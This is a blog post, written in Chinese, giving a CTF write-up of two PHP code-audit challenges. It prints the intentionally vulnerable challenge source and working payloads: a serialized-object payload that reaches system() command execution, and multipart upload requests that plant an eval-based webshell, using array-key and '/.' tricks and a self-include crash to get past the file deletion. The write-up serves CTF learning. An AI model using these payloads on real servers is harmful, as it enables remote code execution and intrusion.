theKingOfNight's Blog

PHP-2018上海大学生两道代码审计题目

字数统计: 2k阅读时长: 9 min
2019/01/19 Share

放假抽空和同学打了一哈上海大学生的ctf,题目质量一般,脑洞太大,不过有两道代码审计题目还是不错的,同时自己也有好多点没有考虑到,这里记录一哈学习经验。

web2

序列化与反序列化
php所有的值都可以使用serialize()来存储数据,输出一串字符串。
unserialize()将字符串内包含的数据进行返回。
序列化一个对象(类的实例),不会保存类的方法(所以一般情况只能去找类的漏洞)。

魔术方法

PHP 中所有以 __(两个下划线)开头的类方法保留为魔术方法。
常用的魔术方法有

1
2
3
4
__construct(), __destruct(), __call(), __callStatic(),
__get(), __set(), __isset(), __unset(), __sleep(),
__wakeup(), __toString(), __invoke(), __set_state(),
__clone() 和 __debugInfo()

一些默认情况

1
2
3
4
5
6
序列化一个对象是默认会调用__sleep
反序列化是会调用__wakeup
__construct会在实例化一个对象是被调用
__desturct会在对象不再使用或者程序退出时自动调用
__toString会在对象被当做字符串时使用(特别注意字符串连接符.)
__get会在读取不可访问的属性的值的时候调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php
error_reporting(0);
class come{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str){
$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function echo($host){
system("echo $host");
}
function __destruct(){
if (in_array($this->method, array("echo"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
}
$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
if($i===1)
{
$i++;
$$key = $value;
}
else{break;}
}
if($first==="doller")
{
@parse_str($_GET['a']);
if($var==="give")
{
if($bbb==="me")
{
if($ccc==="flag")
{
echo "<br>welcome!<br>";
$come=@$_POST['come'];
unserialize($come);
}
}
else
{echo "<br>think about it<br>";}
}
else
{
echo "NO";
}
}
else
{
echo "Can you hack me?<br>";
}
?>

这道题目是2017年百越杯的改版,这里刚开始是经典的$$变量覆盖漏洞,没什么好看的,直接丢paylaod

1
first=doller&a=var=give%26bbb=me%26ccc=flag

其中一些方法如下

1
2
3
4
5
__construct,初始化变量
__wakeup,在反序列化时会自动调用,先将$args进行trim,再进行waf
waf,将正则中的东西替换为空
echo,这里调用系统命令执行$host参数中指定的命令
__destruct,对象销毁时使用,如果传入的对象中有echo方法,就执行call_user_func_array函数,参数为$args

剩下这里就很简单了

1
2
3
$come=new come("echo",array("`ls`")); //init here
$test=serialize($come);
print_r($test);

1
O:4:"come":2:{s:12:"comemethod";s:4:"echo";s:10:"comeargs";a:1:{i:0;s:4:"`ls`";}}

然后

1
2
传入参数
unserialize($_GET['come']);

什么都没有发生。
这里参考原因是print_r中的部分不可见字符paylaod输出后进行了改变,手动调整就好。

1
2
print_r(urlencode($test));
come=O%3A4%3A%22come%22%3A2%3A%7Bs%3A12%3A%22%00come%00method%22%3Bs%3A4%3A%22echo%22%3Bs%3A10%3A%22%00come%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A4%3A%22%60ls%60%22%3B%7D%7D

即可成功执行
另外也可以手动修改

1
2
3
4
5
6
00000000: 4f3a 343a 2263 6f6d 6522 3a32 3a7b 733a O:4:"come":2:{s:
00000010: 3132 3a22 0063 6f6d 6500 6d65 7468 6f64 12:".come.method
00000020: 223b 733a 343a 2265 6368 6f22 3b73 3a31 ";s:4:"echo";s:1
00000030: 303a 2200 636f 6d65 0061 7267 7322 3b61 0:".come.args";a
00000040: 3a31 3a7b 693a 303b 733a 343a 2260 6c73 :1:{i:0;s:4:"`ls
00000050: 6022 3b7d 7d `";}}

其中的.在之前的print_r中没有输出,这里修改为%00即可,最后直接给给payload。

1
?come=O:4:"come":2:{s:12:"%00come%00method";s:4:"echo";s:10:"%00come%00args";a:1:{s:4:"host";s:4:"`ls`";}}

剩下没难度,老套路。


web3

这里记录一哈只因为学到了end和\$filename[count($filename) - 1]),unlink绕过方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
//error_reporting(0);
//$dir=md5("icq" . $_SERVER['REMOTE_ADDR']);
$dir=md5("icq");
$sandbox = '/var/www/html/sandbox/' . $dir;
echo mkdir($sandbox);
echo chdir($sandbox);
if($_FILES['file']['name']){
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename)) {
$filename = explode('.', $filename);
echo $filename;
}
$ext = end($filename);
echo "ext1:$ext";
if($ext==$filename[count($filename) - 1]){
die("emmmm...");
}
$new_name = (string)rand(100,999).".".$ext;
echo $new_name;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hehe'];
if(substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
include($_);
echo $_;
}
unlink($new_name);
}
else{
highlight_file(__FILE__);
}

比赛的时候乍一看需要过两关

1
2
end($filename)==$filename[count($filename) - 1]
substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false

想到了被hitcon的oneline题目,而且第一关没有过去的经验,给吓住了,直接就放弃了。
赛后再看发现这个题目真是太简单了

1
2
3
4
5
6
首先上传一个文件,然后比较
end($filename)==$filename[count($filename) - 1]
也就是后缀名师傅相等
不等就重命名为一个100-999(可爆破)的文件名.ext
而且上传文件的前6个字符需要为@<?php,如果文件名正确的化就直接文件包含输出。
然后删除文件

思路就很简单,需要爆破文件名就一定需要考虑unlink函数的漏洞,或者条件竞争。

至于end($filename)==$filename[count($filename) - 1]的漏洞,这里参考了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
这里问题出现在如何获取$filename
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
首先,检查有没有POST file,如果有的话,就直接获取file(这里file可以为数组)
如果没有的话,就获取上传的文件名$_FILES['file']['name'];
然后,如果if (!is_array($filename)) ,也就是文件名不是数组话,就.分割
也就是I.am.theKingOfNight会被分割为
file[0]=>'I'
file[1]=>'am'
file[2]=>'theKingOfNight'
然后再$ext = end($filename);,也就是获取filename的最后一项,在这里就返回theKingOfNight
而且,针对复合型数组
file[0]=>'I'
file[1]=>'am
file[name]=>'theKingOfNight'
end($filename)在这里取的是theKingOfNight
$filename[count($filename) - 1]在这里取的是file[2],但是不存在这个东西,所以为空

至于unlink函数,这里也是利用了漏洞

1
2
本地文件包含漏洞可以让 php 包含自身从而导致死循环
然后 php 就会崩溃 , 如果请求中同时存在一个上传文件的请求的话 , 这个文件就会被保留

1
在这里同时在自己的请求中上传自己想要上传的文件,在unlink函数之前使程序崩溃,就可以使得程序一直保留文件。

绕过unlink写shell,我参考了这篇程序,当然没有玩玩整整的读完,还是很有难度的

1
2
这里使用了一个小trik,也在文章最后给出
/.

万事具备,剩下的东西没什么难度了。
这里给出两个利用的payload,直接从这里偷的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
----------------------------568507734196432315160385
Content-Disposition: form-data; name="file[0]"
php
----------------------------568507734196432315160385
Content-Disposition: form-data; name="file[a]"
php/.
----------------------------568507734196432315160385
Content-Disposition: form-data; name="file"; filename="index.php"
Content-Type: application/x-httpd-php
<?php
@eval($_GET['cmd']);
?>
----------------------------568507734196432315160385--

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
----------------------------280543779984883401718121
Content-Disposition: form-data; name="file[0]"
php
----------------------------280543779984883401718121
Content-Disposition: form-data; name="file[a]"
php/.
----------------------------280543779984883401718121
Content-Disposition: form-data; name="hehe"
100.php
----------------------------280543779984883401718121
Content-Disposition: form-data; name="file"; filename="index.php"
Content-Type: application/x-httpd-php
@<?php
@eval($_GET['cmd']);
?>
----------------------------280543779984883401718121--

当然,如果有什么好的提议或想法也欢迎师傅们多多交流,感激不尽。

参考

https://www.freebuf.com/column/163174.html
https://chybeta.github.io/2017/10/28/2017%E5%B9%B4%E7%99%BE%E8%B6%8A%E6%9D%AFAWD-web-writeup/?tdsourcetag=s_pctim_aiomsg
https://blog.csdn.net/publicStr/article/details/82085883
https://www.jianshu.com/p/dfd049924258
https://xz.aliyun.com/t/3155#toc-17

CATALOG
  1. 1. web2
    1. 1.1. 魔术方法
  2. 2. web3
  3. 3. 参考